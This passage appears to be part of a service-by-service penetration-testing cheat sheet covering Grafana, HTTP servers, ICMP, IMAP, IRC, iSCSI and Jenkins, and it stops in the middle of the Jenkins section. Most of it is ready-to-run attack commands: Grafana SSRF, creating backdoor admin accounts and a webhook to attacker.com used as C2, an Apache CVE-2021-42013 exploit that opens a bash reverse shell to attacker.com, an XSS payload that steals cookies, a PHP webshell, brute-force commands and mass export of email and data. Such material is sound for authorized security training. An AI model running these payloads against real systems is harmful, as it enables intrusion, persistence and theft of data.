SSRF via Datasources

Grafana datasources can be abused to perform SSRF attacks against internal services.

Create Internal Datasource

```
# Create datasource pointing to internal service
curl -X POST http://target.com:3000/api/datasources \
  -u admin:password \
  -H "Content-Type: application/json" \
```

```
  -d '{
    "name": "Internal Service",
    "type": "prometheus",
    "url": "http://internal-service:9090",
    "access": "proxy"
  }'
```

Access Cloud Metadata

```
# Query internal service through Grafana
# Access cloud metadata
curl -X POST http://target.com:3000/api/datasources \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
```

Privilege Escalation

If you have viewer access, you can escalate to admin through various methods.

Create Admin User

```
# Create admin user (if you're already admin)
curl -X POST http://target.com:3000/api/admin/users \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{"name":"backdoor","login":"backdoor","password":"P@ssw0rd123!","role":"Admin"}'
```

Promote Existing Users

```
# Promote existing user to admin
curl -X PATCH http://target.com:3000/api/org/users/USER_ID \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{"role":"Admin"}'
```

Persistence

Establishing persistent access to Grafana.

Create Backdoor Accounts

```
# Create backdoor admin account
curl -X POST http://target.com:3000/api/admin/users \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{
```

```
    "name":"System Monitor",
    "login":"sysmon",
    "password":"ComplexP@ss123!",
    "role":"Admin"
  }'
```

Create API Keys and Webhooks

```
# Create API key with admin role
curl -X POST http://target.com:3000/api/auth/keys \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{"name":"backup","role":"Admin","secondsToLive":31536000}'

# Create webhook notification channel for C2
curl -X POST http://target.com:3000/api/alert-notifications \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{
    "name":"monitoring",
    "type":"webhook",
    "settings":{"url":"http://attacker.com/c2"}
  }'
```

Data Exfiltration

Grafana dashboards and datasources can reveal sensitive infrastructure information.

Export Dashboards and Datasources

```
# Export all dashboards
for uid in $(curl -s -u admin:password http://target.com:3000/api/search | jq -r '.[].uid'); do
  curl -u admin:password http://target.com:3000/api/dashboards/uid/$uid >
dashboard_$uid.json
done

# Export all datasources (contains credentials)
curl -u admin:password http://target.com:3000/api/datasources > datasources.json
```

Export Users and Settings

```
# Export users
curl -u admin:password http://target.com:3000/api/org/users > users.json
```

```
# Export organization settings
curl -u admin:password http://target.com:3000/api/org > org_settings.json

# Backup entire Grafana database
# If you have file access
cp /var/lib/grafana/grafana.db /tmp/stolen.db
```

Common Grafana API Endpoints

Endpoint	Method	Description	Auth Required
/api/health	GET	Health check	No
/api/login	POST	Login	No
/api/dashboards/home	GET	Home dashboard	Yes
/api/search	GET	Search dashboards	Yes
/api/datasources	GET	List datasources	Admin
/api/users	GET	List users	Admin
/api/org/users	GET	Org users	Admin
/api/auth/keys	GET	List API keys	Admin
/api/admin/settings	GET	Settings	Admin

Grafana Default Paths

Path	Description	Sensitive
/etc/grafana/grafana.ini	Configuration file	Yes - secret_key

Path	Description	Sensitive
/var/lib/grafana/grafana.db	SQLite database	Yes - all data
/var/lib/grafana/plugins/	Plugin directory	Maybe
/var/log/grafana/	Log files	Yes - errors, queries
/usr/share/grafana/	Installation dir	No

Useful Tools

Tool	Description	Primary Use Case
curl	HTTP client	API interaction
Burp Suite	Web proxy	Request manipulation
nuclei	Vulnerability scanner	CVE detection
Grafana CLI	Management tool	Admin operations
jq	JSON processor	API response parsing
grafana-backup	Backup tool	Data extraction

Security Misconfigurations

- ❌ Default credentials (admin:admin)
- ❌ Anonymous access enabled
- ❌ No authentication required
- ❌ Weak admin passwords
- ❌ API keys with excessive permissions

- ❌ Exposed to internet without firewall
- ❌ Outdated Grafana version (CVE vulnerable)
- ❌ Datasource credentials in plaintext
- ❌ No rate limiting on login
- ❌ Signup enabled for anyone
- ❌ Viewer role can access sensitive data
- ❌ No audit logging
- ❌ Plugins from untrusted sources
- ❌ secret_key not changed from default

Common Grafana CVEs

CVE	Version Affected	Description	Severity
CVE-2021-43798	8.0.0-8.3.0	Arbitrary file read	Critical
CVE-2021-43813	<8.3.1	Directory traversal	High
CVE-2021-39226	<8.1.6	Snapshot authentication bypass	High
CVE-2020-13379	<7.0.2	SSRF via datasource	High
CVE-2019-15043	<6.3.4	Authentication bypass	Critical

8.) HTTP/HTTPS (Web Server)

Default Ports: 80 (HTTP), 443 (HTTPS), 8080, 8443

HTTP (Hypertext Transfer Protocol) and **HTTPS (HTTP Secure)** are the foundation protocols of the World Wide Web. They enable communication between web clients and servers. HTTP operates on port 80 by default, while HTTPS uses SSL/TLS encryption and operates on port 443. Alternative ports like 8080, 8443, and others are commonly used for development, proxies, or secondary web services.

Connect

Using Web Browser

 # HTTP connection
http://target.com
http://192.168.1.100

 # HTTPS connection
https://target.com
https://192.168.1.100

 # Non-standard ports
http://target.com:8080
https://target.com:8443

Using cURL

cURL is a versatile command-line tool for making HTTP requests and testing web servers.

Basic HTTP Requests

 # Send basic GET request
curl http://target.com

 # Follow HTTP redirects
curl -L http://target.com

Advanced HTTP Options

 # Enable verbose output for HTTPS
curl -v https://target.com

 # Send custom HTTP headers
curl -H "User-Agent: Custom" http://target.com

 # Send POST request with data
curl -X POST -d "param=value" http://target.com/api

 # Ignore SSL certificate errors
curl -k https://target.com

Using Wget

wget is a powerful tool for downloading files and creating local copies of websites.

 # Download single file
wget http://target.com/file.txt

 # Mirror entire website
wget --mirror --convert-links --page-requisites http://target.com

 # Resume interrupted download
wget -c http://target.com/largefile.zip

Recon

Service Detection with Nmap

Use Nmap to detect web servers and identify their versions and configurations.

Basic Port and Version Detection

 # Scan common web server ports
nmap -p 80,443,8080,8443 target.com

 # Detect web server version
nmap -p 80,443 -sV target.com

Advanced Scanning and Analysis

 # Run aggressive scan with scripts
nmap -p 80,443 -A target.com

 # Enumerate allowed HTTP methods
nmap -p 80 --script http-methods target.com

 # Analyze SSL/TLS configuration
nmap -p 443 --script ssl-enum-ciphers target.com

Banner Grabbing

Banner grabbing helps identify the web server software and version, which can reveal potential vulnerabilities.

Using Netcat and Telnet

```
# Using netcat
nc target.com 80
GET / HTTP/1.1
Host: target.com

# Using telnet
telnet target.com 80
GET / HTTP/1.1
Host: target.com
```

Using cURL and Wget

```
# Using curl for headers only
curl -I http://target.com

# Using wget for headers
wget --server-response --spider http://target.com
```

SSL/TLS Certificate Analysis

Analyzing SSL/TLS certificates reveals encryption strength, expiration dates, and potential misconfigurations.

Certificate Inspection

```
# View full certificate chain
openssl s_client -connect target.com:443 -showcerts

# Test supported TLS versions
openssl s_client -connect target.com:443 -tls1_2

# Check certificate validity period
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates
```

Cipher Suite Analysis

```
# Enumerate cipher suites
nmap --script ssl-enum-ciphers -p 443 target.com
```

Enumeration

Web Server Identification

Identifying the web server software and version helps determine applicable exploits.

Server Header Analysis

```
# Identify server from HTTP headers
nmap -p 80,443 --script http-server-header target.com
```

Technology Detection

```
# Detect web technologies and CMS
whatweb http://target.com

# Detect web application firewall
wafw00f http://target.com

# Fingerprint with signature database
httprint -h target.com -s signatures.txt
```

Directory and File Enumeration

Discovering hidden directories and files can reveal admin panels, backup files, and sensitive information.

Using Gobuster and dirb

```
# Brute force directories with Gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Scan with dirb
dirb http://target.com /usr/share/wordlists/dirb/common.txt
```

Using dirsearch and ffuf

```
# Search with dirsearch
dirsearch -u http://target.com -e php,html,js

# Fuzz with ffuf
ffuf -u http://target.com/FUZZ -w wordlist.txt

# Recursive scan with feroxbuster
feroxbuster -u http://target.com -w wordlist.txt
```

Virtual Host Discovery

Discover virtual hosts and subdomains on the target server.

Automated Virtual Host Discovery

```
# Using gobuster vhost mode
gobuster vhost -u http://target.com -w subdomains.txt

# Using ffuf
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt
```

Manual Virtual Host Testing

```
# Manual testing with curl
curl -H "Host: admin.target.com" http://192.168.1.100
```

HTTP Methods Enumeration

Enumerate supported HTTP methods to identify potential attack vectors.

Discover Supported Methods

```
# Using Nmap
nmap -p 80 --script http-methods target.com

# Using curl OPTIONS
curl -X OPTIONS http://target.com -v
```

Test Dangerous Methods

```
# Testing dangerous methods
curl -X PUT -d "test" http://target.com/test.txt
curl -X DELETE http://target.com/test.txt
curl -X TRACE http://target.com
```

robots.txt and sitemap.xml

Check common files that may reveal sensitive information or hidden paths.

Check Standard Files

```
# Check robots.txt
curl http://target.com/robots.txt

# Check sitemap
curl http://target.com/sitemap.xml
```

Check Configuration Files

```
# Check common files
curl http://target.com/.htaccess
curl http://target.com/web.config
curl http://target.com/.git/config
```

Technology Stack Detection

Identify the technology stack and frameworks used by the web application.

Automated Technology Detection

```
# Using Wappalyzer (browser extension)
# Or command-line version
wappalyzer http://target.com

# Using builtwith
builtwith target.com

# Using whatweb
whatweb -v http://target.com
```

Manual Header Analysis

```
# Check HTTP headers for clues
curl -I http://target.com | grep -i "x-powered-by\|server"
```

Attack Vectors

Common Vulnerabilities

HTTP Verb Tampering

```
# If GET is blocked, try POST
curl -X POST http://target.com/admin

# If POST is blocked, try GET
curl http://target.com/admin?action=delete

# Try PUT for file upload
curl -X PUT -d @shell.php http://target.com/uploads/shell.php

# Try PATCH for modification
curl -X PATCH -d '{"role":"admin"}' http://target.com/api/user/1
```

Path Traversal

 # Basic traversal
http://target.com/page?file=../../../etc/passwd

 # URL encoded
http://target.com/page?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

 # Double encoded
http://target.com/page?file=..%252F..%252F..%252Fetc%252Fpasswd

 # Unicode bypass
http://target.com/page?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

HTTP Request Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

Host Header Injection

 # Password reset poisoning
curl -H "Host: evil.com" http://target.com/password-reset?email=victim@target.com

 # Cache poisoning
curl -H "Host: evil.com" http://target.com/

 # SSRF via Host header
curl -H "Host: 169.254.169.254" http://target.com/

Web Server Specific Exploits

Different web servers have unique vulnerabilities that can be exploited.

Apache HTTP Server

 # Apache version < 2.4.49 - Path Traversal (CVE-2021-41773)
curl http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

```
# Apache 2.4.49 - RCE (CVE-2021-42013)
curl -X POST -d 'echo; /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' \
  'http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

# .htaccess bypass
curl http://target.com/shell.php.txt -H "Content-Type: application/x-httpd-php"

# Range header DoS (CVE-2011-3192)
curl -H "Range: bytes=0-1,2-3,4-5,6-7,8-9" http://target.com/largefile
```

Nginx

```
# Alias traversal misconfiguration
curl http://target.com/static../etc/passwd

# Off-by-slash vulnerability
curl http://target.com/files../etc/passwd

# Merge slashes bypass
curl http://target.com//admin
```

Microsoft IIS

```
# Short filename disclosure (tilde vulnerability)
curl http://target.com/~1/
curl http://target.com/admin~1.asp

# Unicode bypass
curl http://target.com/admin%c0%afshell.aspx

# Double decode bypass
curl http://target.com/admin%252e%252e/etc/passwd
```

SSL/TLS Attacks

Heartbleed (CVE-2014-0160)

```
# Using Nmap NSE script
nmap -p 443 --script ssl-heartbleed target.com

# Using Metasploit
msfconsole
use auxiliary/scanner/ssl/openssl_heartbleed
```

```
set RHOSTS target.com
run
```

POODLE Attack

```
# Check SSLv3 support
nmap --script ssl-poodle -p 443 target.com

# Manual test
openssl s_client -connect target.com:443 -ssl3
```

BEAST, CRIME, BREACH

```
# Check for TLS compression (CRIME)
nmap --script ssl-enum-ciphers -p 443 target.com

# Test with SSLyze
sslyze --regular target.com:443
```

Authentication Attacks

Authentication attacks target web application login mechanisms to gain unauthorized access.

Brute Force Attacks

```
# Brute force HTTP Basic Auth
hydra -l admin -P passwords.txt target.com http-get /admin

# Brute force login forms
hydra -l admin -P passwords.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect"

# Brute force API endpoints
hydra -l admin -P passwords.txt http-get://target.com/api
```

Session Attacks

```
# Cookie theft via XSS
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

# Session fixation
http://target.com/login?PHPSESSID=attacker_session
```

```
# Session prediction
# Analyze session IDs for patterns
seq 1 100 | while read i; do curl -I http://target.com/login; done
```

Post-Exploitation

Webshell Upload

Upload and execute webshells for persistent access.

Create and Upload Webshell

```
# PHP webshell
<?php system($_GET['cmd']); ?>

# Upload via PUT method (if allowed)
curl -X PUT -d '<?php system($_GET["cmd"]); ?>' \
  http://target.com/uploads/shell.php
```

Execute Commands

```
# Execute commands
curl http://target.com/uploads/shell.php?cmd=whoami
```

Pivoting

Use compromised web servers for network pivoting and lateral movement.

```
# Setup SOCKS proxy through compromised web server
# If SSH access obtained
ssh -D 9050 user@target.com

# Use proxychains
proxychains nmap -sT 192.168.1.0/24

# Port forwarding
ssh -L 3306:localhost:3306 user@target.com
```

Data Exfiltration

Extract sensitive data from compromised web servers.

Download Files and Backups

```
# Download database dumps
curl http://target.com/backup/database.sql -o database.sql

# Download source code
wget --mirror --convert-links http://target.com
```

Extract via Webshell

```
# Extract via compromised webshell
curl http://target.com/shell.php?cmd=tar+czf+/tmp/backup.tar.gz+/var/www/html
curl http://target.com/tmp/backup.tar.gz -o backup.tar.gz
```

Persistence

Establish persistent access to compromised web servers.

Create Backdoor Accounts

```
# Create backdoor account (if admin access)
curl -X POST http://target.com/admin/users/create \
  -d "username=backdoor&password=secret&role=admin" \
  -H "Cookie: admin_session=xyz"
```

Modify Server Configuration

```
# Modify .htaccess for backdoor
curl -X PUT -d 'AddType application/x-httpd-php .jpg' \
  http://target.com/.htaccess

# Then upload PHP code as .jpg
```

Privilege Escalation

Escalate privileges on compromised web servers.

```
# Exploit SUID binaries (if shell access obtained)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

# Kernel exploits
uname -a
searchsploit linux kernel <version>
```

Common HTTP Headers

Header	Description	Security Impact
Server	Web server software and version	Information disclosure
X-Powered-By	Technology stack information	Information disclosure
X-AspNet-Version	ASP.NET version	Information disclosure
X-Frame-Options	Clickjacking protection	If missing: Clickjacking possible
Content-Security-Policy	XSS protection	If missing: XSS easier to exploit
Strict-Transport-Security	Force HTTPS	If missing: MITM attacks possible
X-Content-Type-Options	MIME sniffing protection	If missing: MIME confusion attacks
Access-Control-Allow-Origin	CORS policy	If misconfigured: Data theft

Common HTTP Status Codes

Code	Meaning	Pentesting Relevance
200 OK	Success	Normal response
301 Moved Permanently	Redirect	Check for open redirects

Code	Meaning	Pentesting Relevance
302 Found	Temporary redirect	Check for open redirects
400 Bad Request	Malformed request	Input validation testing
401 Unauthorized	Authentication required	Brute force target
403 Forbidden	Access denied	Bypass techniques needed
404 Not Found	Resource not found	Enumeration results
405 Method Not Allowed	HTTP method blocked	Try verb tampering
500 Internal Server Error	Server error	Information disclosure in errors
503 Service Unavailable	Server overloaded	Potential DoS

Useful Tools

Tool	Description	Primary Use Case
Burp Suite	Web proxy and scanner	Manual and automated testing
OWASP ZAP	Web security scanner	Automated vulnerability scanning
Nikto	Web server scanner	Vulnerability and misconfiguration detection
Gobuster	Directory/file brute-forcer	Content discovery

Tool	Description	Primary Use Case
ffuf	Fast web fuzzer	Fuzzing and enumeration
SQLmap	SQL injection tool	Database exploitation
wfuzz	Web fuzzer	Parameter fuzzing
curl	HTTP client	Manual testing
wget	Web downloader	Content retrieval
Nmap	Network scanner	Service detection and enumeration

9.) ICMP (Internet Control Message Protocol)

Default Port: Not applicable

ICMP (Internet Control Message Protocol) is a network layer protocol used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address. It is commonly used for diagnostics and troubleshooting in IP networks.

ICMP operates by exchanging control messages between devices, informing them about network conditions, errors, and various other operational states.

Connect

Ping Utility

The ping command is used to send ICMP Echo Request messages to a target host:

ping <target-ip>

Recon

Identifying ICMP Responses

You can use Nmap to check if a target host responds to ICMP requests:

nmap -sn X.X.X.X

ICMP Unreachable Messages

Tools like hping3 can send custom ICMP Unreachable messages to test network reachability:

hping3 --icmp -1 X.X.X.X

Enumeration

ICMP Echo Requests

ping -c 1 <network-range>

ICMP Time Exceeded Messages

Using traceroute, you can trace the route packets take to a destination and identify routers along the path:

traceroute <target-ip>

Attack Vectors

ICMP Redirect Attacks

ICMP Redirect messages can be exploited to manipulate a host's routing table and redirect its traffic through an attacker-controlled device:

echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

ICMP Flood Attacks

ICMP Flood attacks involve overwhelming a target host with a large volume of ICMP Echo Requests:

hping3 --flood --icmp <target-ip>

Post-Exploitation

Ping Sweep

After gaining access to a network, performing a ping sweep can help identify live hosts:

nmap -sn <network-range>

ICMP Tunneling

ICMP Tunneling involves encapsulating other network protocols within ICMP packets to bypass network security measures:

icmpsh -t <target-ip>

ICMP Backdoor

icmpsh -b <attacker-ip>

10.) IMAP (Internet Message Access Protocol)

Default Ports: 143 (IMAP), 993 (IMAPS)

Internet Message Access Protocol (IMAP) is a standard email protocol that stores email messages on a mail server and allows the end user to view and manipulate them as though they were stored locally on their device. Unlike POP3, IMAP synchronizes email across multiple devices and allows management of email directly on the server.

Connect

Using Telnet

Connect to IMAP servers using telnet for manual testing and interaction.

```
# Connect to IMAP server
telnet target.com 143

# Basic IMAP conversation
a1 LOGIN username password
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
a5 LOGOUT
```

Using openssl (IMAPS)

Connect to IMAP servers using SSL/TLS encryption for secure communication.

```
# Connect with SSL
openssl s_client -connect target.com:993 -crlf -quiet

# IMAP commands
a1 LOGIN username password
a2 LIST "" "*"
a3 LOGOUT
```

Using curl

Use curl for automated IMAP access and email retrieval.

```
# List mailboxes
curl -u username:password imap://target.com/

# Read specific email
curl -u username:password imap://target.com/INBOX -X "FETCH 1 BODY[]"
```

```
# IMAPS
curl -u username:password imaps://target.com/ --insecure
```

Recon

Service Detection with Nmap

Use Nmap to detect IMAP mail servers and identify server versions:

```
nmap -p 143,993 -sV target.com
```

Banner Grabbing

Identify IMAP server software and version through banner grabbing.

Using netcat

```
# Using netcat
nc target.com 143
```

Using telnet

```
# Using telnet
telnet target.com 143
```

Using nmap

```
# Using nmap
nmap -p 143 -sV target.com
```

Enumeration

Capability Enumeration

IMAP servers advertise their supported features and authentication methods through the CAPABILITY command.

```
# Get server capabilities
telnet target.com 143
a1 CAPABILITY

# Response shows supported features:
# - AUTH methods (PLAIN, LOGIN, CRAM-MD5)
# - STARTTLS support
# - IDLE support
```

- *Other extensions*

Advanced IMAP Enumeration

Use specialized Nmap scripts for detailed IMAP server analysis.

Using imap-capabilities Script

Enumerate server capabilities
nmap -p 143 --script imap-capabilities target.com

Using imap-ntlm-info Script

Extract NTLM authentication details
nmap -p 143 --script imap-ntlm-info target.com

Using All IMAP Scripts

Run all IMAP-related scripts
nmap -p 143,993 --script imap-* target.com

Mailbox Enumeration

After successful authentication, you can enumerate mailboxes, folders, and message counts.

List all mailboxes
a1 LOGIN username password
a2 LIST "" "*"

List folders
a3 LIST "" "INBOX.*"

Check mailbox status
a4 STATUS INBOX (MESSAGES RECENT UNSEEN)

Select mailbox
a5 SELECT INBOX

Attack Vectors

Brute Force

Brute forcing IMAP credentials can reveal weak email account passwords.

Using Hydra

```
# IMAP (plaintext)
hydra -l user@target.com -P passwords.txt imap://target.com

# IMAPS (SSL/TLS)
hydra -l user@target.com -P passwords.txt imaps://target.com:993

# Multiple users
hydra -L users.txt -P passwords.txt imap://target.com
```

Using Nmap

```
nmap -p 143 --script imap-brute target.com
```

Pass-the-Hash

Exploit NTLM authentication to use password hashes instead of plaintext passwords.

```
# If NTLM auth is supported
# Connect with NTLM hash instead of password
# Check with:
nmap -p 143 --script imap-ntlm-info target.com
```

Post-Exploitation

Email Extraction

Extract emails and sensitive information from compromised IMAP accounts.

Read and Search Emails

```
# Read all emails
a1 LOGIN username password
a2 SELECT INBOX
a3 FETCH 1:* (BODY[])

# Search for specific content
a4 SEARCH SUBJECT "password"
a5 SEARCH FROM "admin@target.com"
a6 SEARCH TEXT "confidential"
```

Download Emails

```
# Download all emails with curl
for i in {1..100}; do
  curl -u username:password "imap://target.com/INBOX;UID=$i" > email_$i.eml
```

done

Sensitive Information

Search for sensitive information and credentials in email content.

Keyword Search

```
# Search for keywords
SEARCH TEXT "password"
SEARCH TEXT "credential"
SEARCH TEXT "confidential"
SEARCH SUBJECT "reset"
```

Advanced Search

```
# Search by date
SEARCH SINCE 01-Jan-2024

# Combined search
SEARCH FROM "admin" SUBJECT "password"
```

Common IMAP Commands

Command	Description	Usage
CAPABILITY	List capabilities	a1 CAPABILITY
LOGIN	Authenticate	a1 LOGIN user pass
LIST	List mailboxes	a1 LIST "" "*"
SELECT	Select mailbox	a1 SELECT INBOX
FETCH	Retrieve messages	a1 FETCH 1 BODY[]
SEARCH	Search messages	a1 SEARCH TEXT "keyword"

Command	Description	Usage
STORE	Modify flags	a1 STORE 1 +FLAGS \Deleted
LOGOUT	Close session	a1 LOGOUT

Useful Tools

Tool	Description	Primary Use Case
telnet	Terminal client	Manual testing
openssl s_client	SSL/TLS client	IMAPS connection
curl	Transfer tool	Automated access
Hydra	Password cracker	Brute force
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No encryption (port 143)
- ❌ Weak passwords
- ❌ VRFY/EXPN enabled
- ❌ No rate limiting
- ❌ Plaintext authentication allowed
- ❌ No account lockout
- ❌ Outdated IMAP server
- ❌ No TLS required

- ❌ Information disclosure

11.) IRC Pentesting

Default Port: 6667

IRC (Internet Relay Chat), is a protocol and communication system that allows users to engage in real-time text-based conversations. In this article, we will examine the pentesting techniques for IRC.

Connect

Connecting to an IRC Server

You can connect to an IRC server using various IRC clients. For example, on Linux, you can use the irssi client with the following command:

irssi -c <irc-server-ip>

This command allows you to connect to a specific IRC server.

Login with Nickname and Username

/nick <nickname>
/user <username> <hostname> <servername> :<realname>

/nick pentester
/user pentester localhost localhost :Pentester

Recon

Identifying an IRC Server

You can use Nmap to check if an IRC service is running on a specific host:

nmap -p 6667 X.X.X.X

This command checks if there is a service running on port 6667 of the specified IP address, which is commonly used by IRC.

Banner Grabbing

You can use Netcat or a similar tool to perform banner grabbing and retrieve information about the IRC service:

nc -nv X.X.X.X 6667

This command collects banner information from the service running on port 6667 of the given IP address.

Enumeration

Listing Channels and Users

/list

This command lists all available channels on the server.

/names <channel>

This command lists all users in a specific channel.

Collecting User Information

/whois <nickname>

This command retrieves detailed information about a specific user, including their hostname, server, and real name.

Packet Analysis

You can use packet analysis tools like Wireshark to capture and analyze IRC traffic. This can help in understanding communication patterns and identifying potential weaknesses.

Attack Vectors

Default Credentials and Vulnerabilities

Check for default credentials or weak authentication mechanisms. For example, try common nicknames and usernames like admin or root.

Brute Force Attacks

You can perform brute-force attacks to guess weak passwords using tools like hydra:

hydra -l <username> -P /path/to/passwords.txt <target_ip> irc -s 6667

This command attempts to brute-force the specified IRC server.

Exploiting Misconfigurations

Look for misconfigured IRC servers that allow actions without proper authentication, such as joining restricted channels or sending messages to all users.

Post-Exploitation

Privilege Escalation

After gaining access, attempt to escalate privileges to higher-level accounts or operators (ops) within channels. You can use commands like:

/mode <channel> +o <nickname>

This command attempts to give operator privileges to the specified user in the channel.

Data Analysis and Manipulation

Once you have access, analyze and manipulate data within the IRC server. For example, you can monitor private messages or alter channel topics.

Hijacking Sessions

Target and hijack active user sessions to capture session information and manipulate sessions to your advantage. For example, you could use a tool like Ettercap to perform a man-in-the-middle attack on IRC traffic.

Example of IRC Commands

Command	Description
/list	List all available channels on the server.
/names <channel>\	List all users in a specific channel.
/whois <nickname>\	Retrieve detailed information about a specific user.
/mode <channel>\ +o <nickname>\	Give operator privileges to a user in a channel.

This structure provides a comprehensive overview of pentesting activities directed towards IRC services. Always ensure you operate within ethical and legal boundaries while conducting such tests and have the appropriate authorization.

12.) ISCSI Pentesting

Default Port: 3260

ISCSI (Internet Small Computer System Interface) is a protocol used for establishing and managing connections between storage devices over an IP network. It enables storage devices to be shared and accessed remotely, providing block-level access to storage resources.

ISCSI is commonly used in data centers and enterprise environments for storage area networks (SANs) and virtualization deployments.

Connect

Connect Using ISCSI Initiator

iscsiadm --mode discoverydb --type sendtargets --portal <target-ip>:<target-port> --discover

Connect Using ISCSI Target Portal

You can use tools like ISCSI Initiator or open-iscsi to connect to an ISCSI target portal.

Recon

Identifying an ISCSI Target

You can use Nmap to check if there's an ISCSI target on a target host like this:

nmap -p 3260 X.X.X.X

Banner Grabbing

nc -nv X.X.X.X 3260

Enumeration

ISCSI Target Information

Connect to the ISCSI target and gather information about available LUNs (Logical Unit Numbers), target IQNs (ISCSI Qualified Names), and other configuration details using ISCSI commands.

ISCSI Client Tools

Tools like ISCSI Initiator, open-iscsi, and tgtadm can be used for interacting with ISCSI targets and performing enumeration tasks.

Attack Vectors

Default Credentials

Check for default credentials or weak authentication configurations in ISCSI targets, such as targets using default IQNs or no authentication.

Unauthorized Access

Search for open ISCSI targets that allow unrestricted access, which may be exposed to unauthorized access from the internet.

LUN Manipulation

Exploit vulnerabilities in ISCSI target configurations to access or manipulate LUNs, potentially gaining unauthorized access to sensitive data.

Post-Exploitation

Common ISCSI Commands

Command	Description
iscsiadm -m session	List active ISCSI sessions
iscsiadm -m node -l	Log in to an ISCSI target
iscsiadm -m node -u	Log out of an ISCSI target
iscsiadm -m node -o show	Display detailed information about a target
iscsiadm -m discovery	Discover available ISCSI targets

Data Exfiltration

Extract sensitive data by accessing and manipulating LUNs on the ISCSI target.

Ransomware Attacks

Encrypt data on the ISCSI target and demand a ransom for decryption, exploiting vulnerabilities in ISCSI target configurations.

Denial-of-Service (DoS) Attacks

ISCSI targets may be susceptible to DoS attacks, disrupting storage access and causing service downtime.

13.) Jenkins

Default Ports: 8080 (HTTP), 8443 (HTTPS)

Jenkins is an open-source automation server widely used for continuous integration and continuous delivery (CI/CD). It automates building, testing, and deploying applications. Due to its powerful features including script execution and plugin ecosystem, Jenkins is a high-value target that can lead to complete infrastructure compromise.

Connect

Using Web Browser

Access Jenkins through its web interface for manual testing and interaction.

Basic Web Access

```
# HTTP access
http://target.com:8080
http://192.168.1.100:8080

# HTTPS access
https://target.com:8443
```

Common Jenkins Paths

```
# Common paths
http://target.com:8080/login
http://target.com:8080/signup
http://target.com:8080/dashboard
http://target.com:8080/manage
http://target.com:8080/script
```

Using Jenkins CLI

Use the official Jenkins CLI for automated job management and system interaction.

Download and Setup CLI

```
# Download Jenkins CLI
wget http://target.com:8080/jnlpJars/jenkins-cli.jar

# Use CLI (requires authentication)
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password who-am-i
```

Job Management

 # List jobs
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password list-jobs

 # Build job
java -jar jenkins-cli.jar -s http://target.com:8080/ -auth username:password build job-name

Using API

Use Jenkins REST API for automated interaction and data extraction.

Basic API Access

 # Get Jenkins version
curl http://target.com:8080/api/json

 # With authentication
curl -u username:API_TOKEN http://target.com:8080/api/json

Job Information

 # Get jobs list
curl -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name]

Recon

Service Detection with Nmap

Use Nmap to identify Jenkins installations and gather initial information:

nmap -p 8080,8443 -sV target.com

Banner Grabbing and Version Detection

Identify Jenkins version and gather system information through various methods.

Version Detection Methods

 # Get Jenkins version
curl -s http://target.com:8080 | grep -i "jenkins"

 # From API
curl -s http://target.com:8080/api/json | jq .

 # From headers
curl -I http://target.com:8080 | grep -i "x-jenkins"

 # Version from login page
curl -s http://target.com:8080/login | grep "Jenkins ver"

Access Script Console

 # Script console (if accessible)
http://target.com:8080/script

Anonymous Access Check

Test if Jenkins allows anonymous access to sensitive areas.

 # Check if anonymous access is enabled
curl -s http://target.com:8080/asynchPeople/

 # Check script console
curl -s http://target.com:8080/script

 # Check job creation
curl -s http://target.com:8080/view/all/newJob

 # Check system log
curl -s http://target.com:8080/log/all

Enumeration

User Enumeration

Discover Jenkins users and authentication mechanisms.

Manual User Discovery

 # People directory (if accessible)
curl http://target.com:8080/asynchPeople/

 # User API
curl http://target.com:8080/user/admin/api/json

 # Signup page (check if enabled)
curl http://target.com:8080/signup

Automated User Enumeration

 # Using Metasploit
use auxiliary/scanner/http/jenkins_enum

```
set RHOSTS target.com
set RPORT 8080
run
```

Job Enumeration

Enumerate Jenkins jobs and their configurations to identify potential attack vectors.

Job Discovery

```
# List all jobs
curl -u username:API_TOKEN http://target.com:8080/api/json?tree=jobs[name,url]

# Job details
curl -u username:API_TOKEN http://target.com:8080/job/job-name/api/json
```

Build Information

```
# Build history
curl -u username:API_TOKEN http://target.com:8080/job/job-name/api/json?tree=builds[number,url]

# Last build console output
curl -u username:API_TOKEN http://target.com:8080/job/job-name/lastBuild/consoleText
```

Plugin Enumeration

Identify installed plugins and check for known vulnerabilities.

```
# List installed plugins
curl -u username:API_TOKEN http://target.com:8080/pluginManager/api/json?depth=1

# Check for vulnerable plugins
curl -s http://target.com:8080/pluginManager/installed

# Update center
curl http://target.com:8080/updateCenter/api/json
```

Credentials Enumeration

Search for stored credentials and sensitive information in Jenkins.

Credentials Store Access

```
# Credentials store (requires admin)
curl -u username:API_TOKEN http://target.com:8080/credentials/
```

```
# Check job configurations for credentials
curl -u username:API_TOKEN http://target.com:8080/job/job-name/config.xml
```

Search for Sensitive Data

```
# Search for credentials in build logs
curl -u username:API_TOKEN http://target.com:8080/job/job-name/lastBuild/consoleText |
grep -i "password\|secret\|token"
```

Node Enumeration

Enumerate Jenkins build nodes and system information.

```
# List build nodes
